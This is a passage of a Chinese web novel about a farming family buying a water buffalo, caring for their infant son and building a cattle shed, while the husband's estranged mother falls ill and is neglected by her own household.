沿着河边很好找人,没有费多大工夫,裴厌得了消息立马就把鸭子往回赶,唐睿文是赶了骡子车来的,可以顺便带他过去。 家里毛驴经常要赶路去镇上去府城,农忙时也要拉车拉犁,还要拉石磨磨面,拉石磙碾场,驴劲再大,一年到头干下来,实在是劳苦,况且毛驴在水田翻耕,确实不如水牛更好使。 买牛的事两人没正经商量过,略提了几回,说要是有耕牛,翻地种田会更快点。 牛本身对庄稼人来说就是一大好帮手,眼下既然有这么合适的一头,买回来虽然要花些钱,但绝对不亏,往后年头长呢,地肯定也越多。 裴厌回来后,顾兰时已经把钱袋装好了,三十五两银子,比耕牛市价高些,像这样正值青壮的公牛,都在二十两以上,跟家当没差。 多总比少了好,万一真的是头好牛,掏了钱就能拉回家。 裴厌揣了钱,唐睿文正在顾家等着,见他过来,当即就起身到门口牵骡车,狗儿和顾铁山跟着,好帮着相端相端,二十几两银子的事,不能大意。 苗秋莲也跟着坐上了车,打算看看女儿和外孙,顺便也瞅瞅热闹。 第227章 唐家村。 唐老亮家院子里,一头水牛被牵出来,用绳拴在木桩上。 看见水牛体大健壮,唐睿文所言不虚,确实是头好牛,裴厌不免有些心动。 因是刚放出来的消息,这会儿外村来的人就几个,院子和门口围看的多半是唐家村的老少爷们。 苗秋莲有了年纪,又是跟着顾铁山和儿子女婿来的,压根儿就没有退避的意思,一门心思去瞅那头水牛,她不由咂舌,这牛品相真真挑不出错来,性子也稳,这么多人说话,不见任何躁动不安。 “老亮头,卖与我如何?”唐家村一个年轻汉子笑嘻嘻说道,一副没正形的模样,说着,就上来同唐老亮握手说价。 两人手在袖子的遮掩下一碰,唐老亮被那儿戏一般的价钱气得立即收回手,吹胡子瞪眼骂道:“混账小子!毛还没长齐,牛的事岂能乱出价,去去!边儿去,别添乱。” 见那人讨嫌被骂,几个年轻汉子登时哄笑起来。 唐老亮夫郎给牛抱了一捆草放在地上,见牛低头吃草,他看一会儿牛,转身进屋了,一句话都没说。离得近的人,早发现他眼睛是红的,显然哭过。 牛是他一手养大的,天天放牛割草,养了四年,如今家里要用钱,不得不卖掉。 唐睿文说道:“我爹前几年买了牛犊回来养,虽说也不错,可这头长大以后,他天天能见到,天天都眼热,要不是家里已经有了一头牛,不然,非得买回去。” 他又笑道:“今儿这牛要卖出去,我老爹在家叹气跺脚的,连热闹也不来看。” 顾铁山几人都笑了下。 裴厌打量着水牛,没有任何病弱之相,因顾铁山在场,他转头看过去,眼神很明显,是询问岳丈意思。 顾铁山微微点头,裴厌一颔首,遇到这么好的牛,不买确实可惜。 唐家村本村来的人,多是来看热闹的,唐老亮心里有数,目光落在几个外村人身上。 见是唐睿文带来的,而且听言语,是他岳丈一家,至于其他几个汉子,有老有少,不是背着手就是走动着打量牛,有心动的,也有犹豫不定的,毕竟是一大笔钱。 裴厌上前,做了个请的手势,离远了还没觉得,一离近唐老亮不由暗暗咂舌,吃什么长大的,竟这么高。 他俩往旁边走了两步,照样是握手谈价,买牲口——尤其是买牛,十分忌讳被不相干的人知道价钱。 “立契现给,不耽搁。”裴厌低声说了一句,他今天过来带够了钱。 唐老亮低头一琢磨,又伸出手,两人在袖子里一碰,裴厌再次还了价。 唐老亮看一眼别的买牛人,又看一眼裴厌,知道对方带够了钱,要是卖的话,今儿钱就能到手里,其实出的价也算合适。 有个背着手的老头也过来,裴厌往旁边让了让,视线又落在水牛身上。 老头和唐老亮都伸出手,在袖中比划着价钱,末了老亮头直摇头,意思很明显,那老头还有点不情愿,觉得他要价太高,两人神色都没有掩饰。 一头牛市价在二十两以上,而像这样年纪合适、品相又极佳的壮牛,明眼人一看就知道肯定在二十五两以上了。 唐老亮虽有点着急用钱,可也不是傻子,遇到合适的价钱才会卖。 又有两人上前出价,唐老亮一时无法抉择,犹豫着从腰后掏出烟杆,也没找火去点,低头一个劲琢磨。 “我说老亮头,这价钱,算合适的了。”一个外村汉子说道,正忙着跑来一趟,给个准话也不难,成就成,不成家里还有活要干呢。 对急性子的人来说等待最煎熬,不过他也没过分催促,卖牛这样的大事,主家自然要多考虑考虑,还有人会多等几天,择高价卖出。 “这……”唐老亮手抚着烟杆,正犹豫间,看见他夫郎拎了半桶净水来喂牛。 唐老夫郎摸着牛背和牛角,眼角满是风霜痕迹,神色再次变得怔忪。 知道老伴儿舍不得牛,唐老亮重重叹一口气,早点卖了吧,早些叫人家牵走,眼不见心不烦,不用再这样。 他把烟杆插回后腰,朝裴厌招招手:“诸位,这牛,有主家了。” 急性子的汉子知道自己出价没有裴厌高,没有多说什么,赶紧扛起靠在墙上的锄头走了。 另外两个外村人没有立即离开,在旁边张望着看。 裴厌转过身,背对着众人从怀里掏出钱袋,抬眼看向唐老亮,问:“家里有戥子?” “有,跟我来。”唐老亮转身往堂屋走。 进堂屋后,有窗子阻隔外面的视线,裴厌才把钱袋打开,数了二十八两碎银出来。 唐老亮拿了戥子,两人一个称一个看,确定好数目以后,见桌上有纸笔,裴厌喊了狗儿进来写。 唐老亮喊了院里一个老头进来做见证,老头是他们村的,上了年纪,也有德行,平时村里写契画押一般都是他在旁边。 顾兰瑜写契约的时候,顾铁山进来瞅了一眼,想谦虚都谦虚不起来,能提笔的庄稼人可不多。 不过,他和裴厌目光都在堂屋挂的那副字画看了看,唐老亮家大孙子在镇上念书,念得还很不错,来时听唐睿文说了,卖牛就是为孙子读书的各种花用,字画挂上,确实比一般农户有读书气。 都是念过书的,虽弄不了什么字画,可他家狗儿也不赖,瞧瞧这一手好字,念私塾时连先生都说好。 顾铁山如是想,不过有读书更好的唐家大孙子相衬,还是收敛了一点表情。 裴厌扫了一眼,他没念过书更不会作画,压根儿看不出来好坏,只等狗儿把契约写好,按了手印以后,牛就归他们了。 唐老夫郎见事情定下了,大孙子念书的事不能耽搁,他都知道,只是心里难受罢了。 红泥一按,落在纸上成了契约,再改不得。 唐老亮得了钱,裴厌得了牛,各自执一份契约。 卖牛钱除了他俩以外,也就顾兰瑜和做见证的老头知道,彼此都是守规矩的人,出去断不会乱说。 钱既然给了,也该回去,裴厌挺高兴,对二姐夫唐睿文十分感激。 唐睿文驴车还停在门口,岳丈和岳母跟来了,他十分殷勤,让先去家里坐坐,吃了饭他再送回去,说秀儿正在家里等呢。 苗秋莲和顾铁山倒是可以撂下家里的活,过去看看女儿和外孙,但顾兰时还有竹哥儿花惜霜各自在家,于是他俩打发裴厌和顾兰瑜牵牛回去干活,开春了,各种活计正忙。 唐老亮解开牛绳,递给裴厌:“走吧。” 裴厌牵着牛绳往前拉,牛却不动。 许是知道不是出门吃草,而是被卖了,它“哞——”一声长叫,被拽着绳脑袋脖子不由被拽的往前伸,但硬是不愿离开。 “去!” 钱都收了,老亮头气得抬手就打,一巴掌拍过去,柴堆上倒是放了一条鞭子,他没看到也没想起来,手劲落在牛身上,根本没打疼。 水牛摇着脑袋,想挣脱绳子,裴厌手上没有太用力,松了一松,陌生水牛,体型又大,刚接触最好不要直接惹怒,得有点耐心,人哪能犟过牛劲。 老亮头气得不行,再次打了牛一巴掌,也有点着急:“钱都收了,还在这里做什么?” “哞——”牛再次叫了一声。 他老伴儿在后面看着,抬胳膊用袖子擦了擦眼睛,上前忍着泪拍拍牛身:“去吧,以后,就跟着人家。” 牛不再叫了,裴厌试着往前拽了拽绳,牛便抬了脚,跟着他一步步往外走。 其他人散了,只有唐老夫郎不停用袖子擦眼泪,袖口湿了一大片。老亮头叹息一声,上前把院门关了。 * 看见牛的时候,顾兰时正抱着星星在杏树底看花,见狗吠叫着跑出去,还以为是来了生人,结果刚走到篱笆门前,就看见裴厌牵着一头大水牛回来了。 “呜——”星星没见过牛,大大的眼睛直盯着牛看,似疑惑也似好奇。 “买了?”顾兰时惊喜不已,顾忌抱着孩子,他抬起来的脚又落下,不断打量水牛。 裴厌快进门了,他往里面让了让,依旧离牛有一段距离,四下没人,他禁不住问道:“多钱?” “二十八两。”裴厌说着,他在前面步子不紧不慢,配合着牛的步伐。 “这么贵。”顾兰时惊讶道,在水牛从面前经过以后,他也看出这牛品相极好,不由自主道:“也是,才四岁,又壮,今年正是刚下地干活的时候。” 裴厌笑着说:“嗯,我觉得这个价咱们买了不亏。” 灰灰和灰仔跑前跑后,停下又冲着牛叫,被裴厌吹声口哨喝止,它俩才歪着脑袋好奇瞅水牛。 大黑见是裴厌牵绳,把牛拉了回来,又不是别人从家里牵走,它跟在顾兰时腿边,十分镇定。 顾兰时在后面,没有离太近,他心中喜悦:“等下先拴起来,咱俩出去打草,可惜没盖牛棚,先拴在哪儿?” 裴厌边走边说:“等下我打根木桩,先拴在后院西角,明儿就起手,在那边盖牛棚。” 他回头看一眼水牛,又道:“这牛温驯,盖牛棚的时候随便找个空地栓就行了,万一下雨,先和毛驴在驴棚里。” “行。”顾兰时很高兴,跟着一起到后院,抓一把今天刚割回来的青草,靠近一点,让裴厌喂牛。 牛看了他好一会儿,明明健壮有力,对着主人却始终沉默温驯。 见牛低头吃起来,顾兰时眉眼弯起,真是头好牛。 第228章 养牛是件大事,第二天,裴厌和两个长工忙活起盖牛棚的事。 家里有不少木材,都是平时没事去山上砍的,不算什么好木头,只要结实没任何虫蛀腐朽,拿来搭盖牛棚正合适。 顾兰时也很心热,尽管水牛温驯,但昨天刚到家,喂了两回,还没那么熟悉。 这头牛形体大,彼此还生分时确实不敢乱牵,他用布兜背了星星,兴冲冲提了个大竹篮到河岸边打草。 离水近的地方青草幽幽,原先还不觉得有什么,有时裴厌会牵毛驴过来吃草,这会儿看见这一大片绿草,顾兰时满心欢喜,以后在这里放牛,牛儿吃草喝水都方便。 等到了天炎热的时候,牛认了家门,就能自己去河里泡着。 他割一把草丢进竹篮,直起腰歇了歇,这一处河段也平缓,平时都在这里放鸭子,以后可以带牛一起过来。 见水草随河流漂摆,长势很好,鸭子和水牛都能吃,只觉心中满足,他们家也有牛了。 “嗯—嗯——”星星在他背上发出声音。 “说什么呢?”顾兰时笑眯眯的,见星星只是呜呜乱叫,没有哭闹,他又小心弯下腰割草,孩子在背上,他动作放慢了许多。 他割这一篮子草不够牛吃的,不过有两个长工干牛棚里的活,裴厌肯定会找个空子出来割草,不会饿着牛。 割满一篮子草,顾兰时把镰刀塞进去,正要拎起往回走,想起什么,先解开腰间布兜的绳带,反手把星星抱到前面。 星星以为是在玩,高兴得很。 “尿尿。”顾兰时解开兜孩子的布兜,端起星星让尿尿。 水线划过,直让他心里松一口气,还好想起来,不然,臭小子说不定要尿他一脊背,上次裴厌就这样“中招”了。 给星星擦擦口水,顾兰时再次把孩子背上背,牛还等着吃草呢,他提起竹篮就往家走。 路上看见开了黄色花的蒲公英,十几朵呢,他连花带草拔出来,这个牛吃了也好,还有两个变白的,毛绒绒一团,他摘下用力吹一口气,白色毛毛被吹飞,又来一阵风,将其刮得更远。 顾兰时笑眼弯弯,再次迈开脚步。 至于星星,还不到吹蒲公英的年龄,等以后长大了再玩儿。 大的背着小的进了家门,后院墙角,裴厌几个正在挖深地基。 牛棚肯定要盖结实,春夏还好,冬天要能御寒,不能单单只搭个顶上的草棚,一圈儿都得有遮挡的,地基自然重要。 顾兰时来到驴棚前,牛和驴子都在里面。 前两年盖驴棚的时候,想过以后要买骡子,因此牲口棚算大的,也没有太矮,牛在里面勉强能回过身。 这不要紧,回头认熟了人,把牛绳放长一点,让牛在棚外也能走动就成。 将草倒进木槽,木槽长,顾兰时把草分了分,好让毛驴和水牛各占一边。 裴厌一直在后院,见水牛和毛驴没有打架的迹象,很放心在那边干活。 “喂水了?”顾兰时问道,见一朵蒲公英小花挂在竹篮边,他取下,谨慎往牛嘴边递。 牛原本低头在槽里吃草,舌头顺势一卷,将花朵吃下,没有碰到人手。 顾兰时高兴极了,试探着摸了摸牛脑袋,他手轻,没有引来任何不满。 裴厌把一锨土丢进篮子,边干活边说:“猪、驴、牛,都喂过了,不用再提水。” 星星小肥手抓着顾兰时肩头一点衣裳,嘴里唔唔啊啊的,盯着大水牛看个不停。 顾兰时听到儿子声音,没有立刻走开,让他看看水牛,又看看毛驴,最后背着儿子往猪圈那边走:“我们星星也看看小猪。” 老母猪肥大的身躯映入眼帘,星星之前见过,不过在听到猪哼以后,他高兴得咯咯笑出声。 * “哦呦,哦呦。”方红花和孙老夫郎围在一旁不停咂舌惊叹。 芳草萋萋,大水牛低头在一片清幽幽的草地上吃草,牛绳没有栓,搭在牛角上任它行走,不然拖在地上的话,脏了不好牵拽。 莫名的,顾兰时分外自豪,脸上不禁露出些许骄傲。 才买回来第四天,他没忍住,等星星睡着之后,同裴厌说一声,就出来放牛了。 水牛这么大的个头,一根麻绳就能牵着走,过来后自己就停下吃草了,尾巴一甩一甩。 自打牛到家以后,天天都有人来看,昨天顾安几个跑来,看见这么大的牛,嘴巴都张大了。 “长得真好。”方红花赞道,又说:“才四岁,往后犁地的年头久呢。” “可不是。”孙老夫郎在旁应声,满眼都是羡慕,这牛一看就是犁地耕田的好手,有这样一头牛在,田里的活是一点不用愁了,甚至能抵好几个人。 顾兰时脸上的笑就没停过,夸牛像是比夸他还高兴。 方红花和孙老夫郎都提着竹篮拿了小铲,两人搭伴儿出来挖野菜,不想在岸边碰见,情不自禁过来看。 方红花之前是在驴棚前看,把牛放出来,这么大一头,不免再次驻足惊叹。 水牛吃草不理人,他俩看够了,才同顾兰时说一声,到不远处挖野菜去了。 因是头一天出来放牛,顾兰时不放心,没有远离。 这片草地挺大,没有树木遮挡,他守了一会儿觉得热,于是拎起空篮子往河沿走,河沿马齿菜很多,家里已经晒了不少,有点吃腻了。 正好旁边有几棵柳树,垂下了阴影,他坐在阴影处的大石上歇脚,时不时看一眼水牛。 裴厌在家盖牛棚,星星要是睡醒哭了,有裴厌在,不用他过于操心。 他拔了一根草玩,水流声哗哗,目光落在半淹的河中石头上,粼粼水下有螺贴在石头上,他扔掉手里的草,过去翻动岸边石头,不停把摸到的螺丢进竹篮里。 没到夏天,浸了一会儿河水觉得手冰,摸完这些以后,顾兰时没有脱鞋下水,又坐回石头上,晃一晃篮子。 螺不是很多,个头都不错,喂鸡喂鸭子不够,但能炒一碟,想想也好久没吃过了。 牛吃饱得一阵子,顾兰时先回去把螺倒进木盆里,用清水养养吐吐泥沙,明天干净了再吃。 再匆匆出来,见牛儿依旧在,没有乱跑,他心中更加欢喜。 * 春暖换了薄衣衫,连孩子也不例外。 一过三月初六,星星就满半岁了,和刚出生那会儿比,已然是个胖小子,浑身肉嘟嘟的,生的白,眼睛大,头发也黑,谁见了都觉得是个漂亮娃娃。 盛春风光好,鸟语花香。 顾兰时抬手赶走不知哪里飞来的蜜蜂,因抱着星星,怕蜜蜂跟上来,他走快了几步。 “娘!” 还没进门,声音先响了起来。 苗秋莲正在捣辣子面,石臼和石杵都粘上了红辣辣的粉面,她口鼻蒙了布巾,不然呛得慌。 “娘,裴厌明天去镇上送鸡蛋,你今儿记得把鸡蛋装好。”顾兰时抱着星星没有靠近。 “行。”苗秋莲答应着,忍不住转头,朝着侧面打了个喷嚏,还是有点呛。 这边也放了几个蛋筐,装好后说清数目,裴厌明天清早路过,顺便就拉走了。 “我都闻着辣味儿了。”顾兰时揉揉鼻子,既然在捣辣子,他没有多待:“娘,那我先回去了。” “好好,快回去吧,别呛着我们星星。”苗秋莲没有留他,这么小的孩子可受不了这个。 顾兰时往外走,没看见竹哥儿和花惜霜影子,问道:“霜儿和竹哥儿不在?” 苗秋莲拿起石杵看看里面的辣子,还不成辣子面,又捣起来,说:“去打酱汁了。” “走着去的?”顾兰时又问一句。 闲话就是这样,说起来一时半会儿不一定能完。 苗秋莲歇了歇手,道:“我说等狗儿回来,让他去打,霜儿说在家里闷,她要去,我想着走走也好,就隔了一个村子,让竹哥儿跟着了。” 花惜霜有了身孕,已经三个多月,该知道的人已经知道,有婆母和幺弟在,她不用干太多活,顾家也紧张她,不叫乱跑,她成天就在家里进出,难免闷了点。 狗儿高兴之余,干劲也十足,只要家里活不忙,就会去镇上码头做工,多赚些钱好养孩子,还能给媳妇买些零嘴吃。 顾兰时说:“他俩要是回来,让上我那边去,我那儿还有半包金丝蜜枣,霜儿不是爱吃这个。” “成,我知道了。”苗秋莲答应道。 顾兰时抱着星星又出去,迎面和隔壁周石头媳妇吴小桃碰上。 吴小桃手里一枝桃花开得娇艳,粉红娇嫩,她看见星星,笑着摘下一朵桃花递过去:“哎呦,星星又长大了,瞧这胖乎的。” 星星小肉手捏住桃花,没两下就揉烂了。 “从哪里弄的?真好看。”顾兰时眼神落在桃枝上。 “我和石头从娘家回来,路过田村,那边野地旁,不是有户人家种了几棵桃树,不知哪家小孩从坏了的篱笆缝儿中钻进去,折了好些枝条,被田老头田老娘发现,那几个小孩窜得快,跑了,地上桃枝乱扔。” “你看看,开得这样好,实在是可惜了,能结不少桃子呢。” 吴小桃面露惋惜,庄稼人谁不心疼粮食,果子能卖钱呢,她又说:“石头见他们要扔,上前讨了一枝,怕触人家霉头,也没敢多要。” 她这么一说,顾兰时也颇觉可惜。 桃树不能栽到家里,田老头两口子在村外垦了一片地,种了七八棵桃树,围个篱笆搭个窝棚,只要一开花,老两口就住里头看管照料。 对门王婶子从家里出来,刚巧听到他俩说话,忍不住道:“真抓着了,非得打一顿,再拉去找他爹娘评理。” “可不是,无法无天了都。”吴小桃附和道。 顾兰时情不自禁点头,几个小子也太野了,果树枝都给人家折断。 三人还都有事情忙,说两句各自走开,吴小桃进家门了,顾兰时抱着星星往村后走。 不想迎面又碰到个人,一抬眼发现是叶金蓉,他避开视线,没有说一个字,脚下加快了些。 住一个村子,不说天天,十天半月总能碰到一回,对这个所谓的亲娘,裴厌从来都不搭理。 叶金蓉也学会了识趣,生怕一家再次遭殃。 顾兰时走远了,叶金蓉怔怔停下脚步,她神色有些恍惚。 太像了。 顾兰时怀里抱的那个孩子,从眉眼到嘴,一整个长相都让她觉得熟悉,二十多年前的记忆再次回拢,眼前浮现出裴厌小时候的模样。 叶金蓉脸色渐渐发白。 她从来都不喜欢二儿子,生下来就克家里人,尤其她,夜里哭声又瘆人。 想起裴厌四五个月的时候生病,差一口气就要死了,却和小鬼一样又活过来,那时候襁褓里病恹恹的裴厌,除了瘦一点,和顾兰时抱着的那个小孩几乎一模一样。 最明显就是那双眼睛,黑得跟墨一样,就那样直勾勾盯着她看。 心虚和恐惧放大了很多东西,叶金蓉疑神疑鬼突然转头,看向已经走远的顾兰时,她总觉得自己没看错,刚才看到那个孩子的时候,那个孩子也在看她,用得是和裴厌婴孩时如出一辙的眼神。 惊骇之下,被勾起了心底最深的情绪。 每次以为裴厌会死的时候,那个讨债鬼总会血淋淋出现,被打断腿打断胳膊时,看着她和裴兴旺的眼神全是恨意,就像不知道什么时候会扑过来咬一口的毒蛇。 惶恐、害怕,还有那份怨恨,悉数涌现交缠,叶金蓉出了一身冷汗,四肢僵直难动。 * 到家以后,顾兰时给儿子擦了擦小手,什么花到臭小子手上都好不过半刻钟。 他亲亲小肉手,嘴巴又贴着星星肉乎乎的小胳膊吹气,发出噗噗噗的声音。 星星瞳仁又黑又亮,被阿姆吹胳膊,他高兴得直笑。 “啊咘——”顾兰时又吹气,星星就又笑起来。 裴厌扛着锄头回来,见他俩在堂屋玩儿,听见儿子笑声,他也笑了。 “爹爹回来了。”顾兰时胳膊有点酸,把星星放进摇篮里坐着,拿起拨浪鼓给儿子摇了摇。 “过去说了?”裴厌舀了水洗手。 “说了。”顾兰时提壶倒茶。 洗干净手,裴厌进来,头一件事就是抱起胖儿子,星星眼睛如黑墨一样,分外漂亮。 被他抱在怀里,盯着他看一会儿,像是又认识了爹爹,小手“啪”一下按到他脸上,劲儿还挺大的。 顾兰时一口茶还没咽下去,差点被呛住,咳嗽了两下笑道:“真是孝顺儿子。” 裴厌眉眼中笑意不减,作势张嘴轻咬住星星小肉手,星星又高兴得笑出声。 第229章 日头底下惊出一身冷汗,第二天叶金蓉就病倒了,没能从炕上起来。 她这两年本就精神头不好,头发干枯斑白,比起同龄人更显苍老,话也没有以前多,家里出了那么多事之后,就不大出去串门子了,变得沉默许多。 给裴虎子娶妻还是把裴春艳给了人才换来的,可见自家艰难。 而更让她心里难受的,是听村里那些闲话,后山乱草破屋被推平翻耕,围出来那么一大片菜地。 她自己也碰见过裴厌赶着驴车去镇上卖菜,一筐筐菜蔬鲜绿,甚至顾兰时当着她的面儿,把新出的菜抓一把又一把,分给顾家人也就算了,还有村里一些人。 人人都道顾兰时和裴厌大方,摘了菜去卖,路上还给众人散一把,虽不多,但村里人一个个拿人家手软吃人家嘴短,竟说起裴厌好话。 这也罢了,偏偏有好事的,知道她家潦倒了,自己不过吃一把不值钱的菜,就在她面前阴阳怪气儿,嘲笑他家偏把福星当克星,故意落井下石。 叶金蓉面上不语,心中很是鄙夷,一把菜而已,就被收买了,这几个人跟赔钱货有什么不一样,没见过世面的死穷鬼,家里连富都没富过,她家虽没落了,可也过过好日子,什么菜没吃过。 谁知后来裴厌和顾兰时养了鸡养了猪,鸡几十只上百只,冬天时肥猪一头头用板车拉去卖。 鸡蛋就更不用提了,那一筐又一筐,全是往宁水镇和府城送的,甚至冬天也有鸡蛋卖。 那可是冬天,鸡蛋价钱在不少庄稼人眼里,真真是和吃金子一样,一斤肉都比一斤鸡蛋便宜。 即便不知道到底卖了多钱,可谁听了不眼红一阵,叶金蓉心里头更甚,好日子跟她不沾一文钱的事,一时气一时悔一时发妒记恨,只盼着那两人倒霉才好,可惜天不遂她愿。 村里谁不知道连方红花都跟着沾了福气,冬天都有几个鸡蛋吃,尽管对方藏着掖着,也不在外说道,可每次去后山,再回来方红花总拎着个盖了布的竹篮,分明是从那边拿了东西。 村里有人说裴厌和顾兰时孝顺,叶金蓉可不觉得,要真孝顺,她这个亲娘怎么连一个鸡蛋都没见过,全给外姓顾家占了便宜去。 姓顾的真真是运气好,白白叫他们捡了便宜。 她和裴兴旺待裴厌再不好,裴厌也是吃他家饭长大的,不然,早就在外头饿死了,还能过上如今的日子? 每每想到这些,叶金蓉心中总是愤愤不平,然而再大的怨恨嫉妒,她也不敢去找顾家和裴厌麻烦。恨极时是恨极,可真在村里碰见裴厌了,对方眼神的漠然,总叫她发怵胆颤。 两个儿子更是见了裴厌如见了虎狼,连胆气都提不起一分,根本不敢和裴厌对上。 他们家人嘴上没说,但心里都知道,本就艰难,要是再出事,都不知要怎么过下去,对裴厌,自然是能避就避。 从前种种心思回转,叶金蓉躺在炕上,觉得口干舌燥,挣扎着起身倒水,却发现茶壶里没水了。 “来人,来个人。” 喊了两声,又有些胸闷喘不过气,她撑着桌子竭力站稳,待气匀之后又喊两声方云和王瑶儿,不见答应,她才想起来,恐怕不在家,出去干活了。 而院里发出的动静,应该是裴胜。 裴胜平时能不出门就不出门,早上发现老娘没出屋子,还是王瑶儿进去瞅了一眼,发现她病了。 家里没钱,谁都没提看病抓药的事,也就嘴上说两句好听的,让叶金蓉歇着,别干活了,各人便去忙各人的。 裴胜坐在板凳上劈柴,右手使不上力气,只能左手紧握斧柄,时而两手都用上,他其实听见屋里的声音,但心中不耐烦,没有理会。 “胜子!胜子!给娘倒些水来。”叶金蓉挣扎着再次呼喊,随后又一阵大喘气。 过了一会儿,裴胜才丢掉手里的斧头,给茶壶添满水又提进去,全程没有好脸色。 叶金蓉神色木讷怔愣,也没说什么,连喝两碗茶又躺回去了,原想多睡一觉,醒来说不定就好了,但她始终闭不上眼睛,盯着头顶房梁,阵阵凄苦从心底传出,冷得她又打起哆嗦。 大儿子怨她恨她,她理亏心虚,连大儿媳不敬她这个婆婆,她也不敢说什么,小儿子,就更指望不上,从小被惯的,只知吃喝,如今成了亲,竟被夫郎拿捏住,处处听话,对她也越发不耐,还曾埋怨她去招惹裴厌,弄得家里连钱都没有,害他成亲都晚。 她也是有孙辈的人了,眼瞅着也老了,这回一病,竟连个知冷知热嘘寒问暖的人都没有,别说饭了,连一口茶水都得喊半天。 儿媳夫郎不孝顺,连伺候问话都没有,至于儿子,她心口越发冰凉。 突然,叶金蓉想起了女儿,她家春艳从小就乖,让做什么就做什么,从不顶嘴,也从来不惹事。 她浑浊无光的眼睛亮了一瞬,都养这么大,嫁人了,老娘病了,她岂能不回来伺候两天。 “胜子。” 这回裴胜过了许久才进来,皱着眉问她要做什么。 叶金蓉喘过一口气,说:“明儿让虎子去王家沟,喊春燕回来。” 裴胜不耐烦:“喊她回来做甚?” 王家沟子离得远,还在宁水镇另一边,裴虎子来回一趟,要耽误地里不少活,家里毛驴卖了的事她又不是不知道。 见儿子如此,叶金蓉神色一下子变得死寂,末了她喘着气:“我病了。” 裴胜在屋门口站了一会儿,最后“嗯”了一声,转身又离开。 * 灶房门口,顾兰时坐在小凳上捞出盆里的螺和泥鳅,清水养了一夜吐泥沙,今儿能吃了。 这是昨天裴厌下河摸的,泥鳅还挺肥。 螺还好,洗泥鳅时他抓了一把糙面,不然洗不干净。 旁边屋檐下有阴影,遮蔽了太阳,星星躺在摇篮里哼哼唧唧的,用没有长牙的嘴巴啃拨浪鼓,拨浪鼓上全是口水,他嘴角和下巴也有。 有事情忙,星星就不会哭闹,哪怕是啃东西,顾兰时很放心,而且灰灰和灰仔守在摇篮边上,要真有不对,立马就叫了。 剪螺尾剖泥鳅,他独自干活,灰灰和灰仔时不时跑过来蹭蹭腿蹭蹭背,早上刘大鹅和周大良把水牛牵出去吃草,大黑跟去了。 水牛有时候吃饱喝足了也不回来,自己找个地方卧下,有时它自己尾巴一甩一甩,慢悠悠就进了家门,大黑只要没事,就会跟着它。 快到饭时,裴厌和刘大鹅他们都没回来,牛和狗也不见踪影。 顾兰时拾掇好食材,探头往外面看一眼,没有人影,他端起盆转身进灶房,还是做好饭再去地里寻。 锅灶上很快热闹起来,辣椒炒螺喷香扑鼻,又呛又香,闻着都要流口水,油炸泥鳅裹着打了个鸡蛋的面糊,炸熟后酥嫩肉细,没有多少刺。 顾兰时用长筷把炸好的泥鳅一条条夹上来,控控油才搁进碗里,炸完后才撤掉灶底的火。 锅里的油等凉了再舀出来,炸泥鳅分了两碗,他没忍住捏了一个,吹吹就咬一口,酥得很,肉也嫩。 他很满意,自己手艺越来越好了。 惦记孩子,顾兰时连忙出来,星星还是没哭,已经不啃拨浪鼓了,小腿一蹬一蹬,看见阿姆也没笑,哼哼了两声。 顾兰时突然想起什么,一摸星星尿布和身下铺的小褥子,全都湿哒哒的,甚至攥一把就能拧出水,可见尿了不少。 “臭小孩,又尿了,尿了还不吱声。”他笑着把尿布和裤子给星星脱了,在肉乎乎的小屁股上轻拍两下以示小惩,连屁股也是湿的,连忙抱进屋里给擦洗一通,换了干净衣裳。 * 低矮的土墙,还有一段是用篱笆补起来的,院门倒是没那么窄,只是两扇门板旧了,也修补过。 裴虎子到王瑶儿家,每次看到院门他都会想,墙这么矮,稍微踮下脚就能看清院里,门板破个洞还要补,也不知道补个什么劲,补了也就从门前看不进去而已。 这些话他再蠢都知道不能说出口,好歹,是他老丈人家,更不能再王瑶儿面前说。 听见老娘病了,已经挽了妇人头发的裴春艳神色没有变化,木着脸跟没听到一样,直到裴虎子说要接她回去,说他娘想她了。 她抬眼,看了一会儿裴虎子,在王毛儿答应让她回去时,只点点头示意自己知道,随后打好包袱,跟着裴虎子一道出门。 王毛儿年纪大,一直没娶上媳妇,好不容易成了亲,裴春艳自打嫁过来,低头干活从不含糊,就是不大说话,几乎也没笑过,见她手脚利索,王家人倒挺满意,只要能生养能干活就成,没有故意苛责。 既然丈母娘病了,于情于理,都该让人家闺女回去一趟,不然,要叫人知道,还不戳他们家脊梁骨。 过了宁水镇,渐渐的,路变得熟悉,是去往小河村的方向。 裴春艳背着包袱,只带了一身衣裳,她跟着赶路不说话,裴虎子和她一个女孩儿没什么说的,兄妹俩只闷头往前赶。 听见动静,叶金蓉睁开眼,转头看见裴春艳,她心中一喜,总算盼回来了。 “娘。”裴春艳声音空洞枯寂,对老娘病了的事并无多少情绪波动。 她从小被忽略惯了,但懂眼色,见叶金蓉嘴唇干白,她上前倒水,发现茶壶冰凉,水也不多,她什么都没说,也没为老娘讨公道跟其他人吵架,只是拎起茶壶去外面烧茶水。 叶金蓉张着嘴,一声闺女还没喊出口,就发觉了裴春艳的异样。回忆再次涌现,她竟想不起来女儿是什么时候变的。 好像从前也是这样,话不多,很少笑,常常不言不语干活,要真论起来,似乎,和以前没什么不同。 叶金蓉坐起来,靠在炕头,热茶碗被递到手里,她吹着喝两口,总算滋润了。 裴春艳见桌上吃完的碗筷没人收,脏兮兮放在那里,她没有和老娘说话,转身去收拾。 叶金蓉看着女儿走出去,再次陷入恍惚之中,她还是觉得裴春艳变了,说不上来,却让她原本的喜悦再次沉下去。 女儿看起来,也靠不住了。 裴春艳洗了碗筷,进来又收拾没人管的夜壶,一句话都没说,兀自干活,也不去看叶金蓉。 叶金蓉脸色变得难看,病一回才知道,闺女养大了根本不好使,真是白眼狼,进门连问都不问一声她是怎么病的,吃了药没。 说不定,是王家人在背后挑唆的。 越想越觉得就是这样,她心中气恼王家,一家子没个好东西,那王瑶儿,就把他们虎子拿捏得老老实实,好好一个汉子,竟然那么听夫郎的话,叫人在背后笑话。 连春艳也被王家人教唆了。 因是方云给找的婆家和夫郎,当初都没过问她,叶金蓉对王家人是没好脸的,眼下几乎称得上“新仇旧恨”了。 她端着茶碗,两天了,生病没个人去抓药,哪怕知道家里不富裕,乡下人也多半是熬过去,但她就是觉得方云几个是要等她病死,心里本就疑神疑鬼不痛快,这会儿又被这些事闹的,对裴春艳也有点怨恨,养这么大,好吃好喝伺候着,竟被人家几句话就给挑唆,连她这个亲娘都不过问,当真是又木又蠢。 傍晚。 饭菜总算有人给送来热的,叶金蓉靠在炕头,即便根本没胃口,也还是挣扎着全吃了。 吃饱了才有劲,不然,就真是等死了,如了他们的意! 